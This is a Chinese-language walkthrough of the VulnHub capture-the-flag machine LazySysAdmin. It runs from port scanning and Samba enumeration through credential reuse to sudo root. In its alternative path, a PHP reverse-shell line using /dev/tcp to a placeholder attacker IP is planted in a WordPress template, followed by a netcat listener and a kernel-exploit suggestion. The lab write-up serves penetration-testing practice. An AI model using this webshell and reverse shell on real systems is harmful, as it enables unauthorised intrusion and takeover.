LazySysAdmin CTF 渗透测试实战教程
环境概述
LazySysAdmin 是一个 VulnHub 上的 CTF 靶机,设计用于练习渗透测试技能。该靶机运行在 Ubuntu 系统上,提供了多种服务,包括:
- Web 服务 (Apache 2.4.7)
- Samba 文件共享 (4.3.11-Ubuntu)
- MySQL 数据库 (未授权访问)
- SSH 服务 (OpenSSH 6.6.1p1)
- IRC 服务 (InspIRCd)
初始信息收集
1. 目标发现
使用 netdiscover 扫描本地网络,发现目标 IP 地址:
netdiscover -i wlo1
输出显示目标 IP 为 192.168.0.100,MAC 地址为 08:00:27:da:8a:ac。
2. 端口扫描
使用 masscan 进行快速端口扫描:
masscan 192.168.0.100 -p 1-10000 --rate=1000
发现开放端口:22(SSH)、80(HTTP)、139/445(SMB)、3306(MySQL)、6667(IRC)。
使用 nmap 进行详细扫描:
nmap -T4 -A -v 192.168.0.100 -p 0-10000
详细服务信息:
- 22/tcp: OpenSSH 6.6.1p1 Ubuntu
- 80/tcp: Apache 2.4.7 (Ubuntu)
- 139/tcp: Samba smbd 3.X - 4.X
- 445/tcp: Samba smbd 4.3.11-Ubuntu
- 3306/tcp: MySQL (未授权访问)
- 6667/tcp: InspIRCd
Web 服务渗透
1. 目录扫描
使用 dirb 扫描 Web 目录:
./dirb http://192.168.0.100 wordlists/common.txt -o result.txt
发现重要目录:
/phpmyadmin/- MySQL 管理界面/wordpress/- WordPress 站点/info.php- PHP 信息页面
2. robots.txt 分析
访问 http://192.168.0.100/robots.txt 发现以下受限目录:
User-agent: *
Disallow: /old/
Disallow: /test/
Disallow: /TR2/
Disallow: /Backnode_files/
3. WordPress 扫描
使用 wpscan 扫描 WordPress:
wpscan http://192.168.0.100/wordpress
发现:
- WordPress 版本 4.8.5 (已过时)
- 注册功能开启
- 上传目录和包含目录有目录遍历漏洞
Samba 共享渗透
1. 枚举 Samba 共享
使用 enum4linux 枚举 Samba 信息:
enum4linux 192.168.0.100
发现:
- 共享目录:
print$、share$、IPC$ - 用户:
togie(Unix User)
2. 访问共享
Linux 下挂载共享:
mount -t cifs -o username='',password='' //192.168.0.100/share$ /mnt
发现重要文件:
deets.txt- 包含 MySQL 凭据wp-config.php- WordPress 配置文件
MySQL 数据库渗透
从共享文件中获取 MySQL 凭据:
- 用户名:
root - 密码:
TogieMYSQL12345^^
尝试访问 phpMyAdmin,但权限受限。
SSH 渗透
1. 凭据尝试
从共享文件中发现密码 12345,结合 WordPress 页面显示的 "My name is togie",尝试 SSH 登录:
ssh togie@192.168.0.100
使用密码 12345 成功登录。
2. 权限提升
检查当前用户权限:
whoami # togie
id # uid=1000(togie) gid=1000(togie) groups=...
发现 togie 有 sudo 权限:
sudo su
输入密码 12345 后成功获取 root 权限。
替代渗透路径
1. WordPress 管理员登录
使用 MySQL 凭据登录 WordPress 后台:
- 用户名:
Admin - 密码:
TogieMYSQL12345^^
2. 上传 Webshell
编辑 404.php 模板,插入 PHP 反弹 shell 代码:
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/攻击者IP/1234 0>&1'");
?>
访问触发页面获取 shell:
nc -vlp 1234
3. 提权
获取的 www-data shell 无 tty,使用 Python 生成 tty:
python -c 'import pty; pty.spawn("/bin/sh")'
检查系统信息:
uname -r # 4.4.0-31-generic
lsb_release -a # Ubuntu 14.04.5 LTS
可使用 CVE-2017-1000112 进行提权(需本地编译 exp)。
总结
本 CTF 的关键渗透路径:
- 通过 Samba 共享获取 MySQL 凭据
- 结合 WordPress 信息获取 SSH 凭据
- 利用 sudo 权限直接提权
替代路径:
- 通过 WordPress 后台上传 webshell
- 获取 www-data shell 后利用内核漏洞提权
附录:工具安装
dirb 安装
wget https://svwh.dl.sourceforge.net/project/dirb/dirb/2.22/dirb222.tar.gz
tar zxvf dirb222.tar.gz
cd dirb222/
apt-get install libcurl4-gnutls-dev
./configure && make
参考链接
- VulnHub 下载页面
- 相关 CVE 漏洞信息
- 渗透测试工具官方文档
通过本教程,您可以全面了解从信息收集到权限提升的完整渗透测试流程,掌握多种渗透技巧和工具使用方法。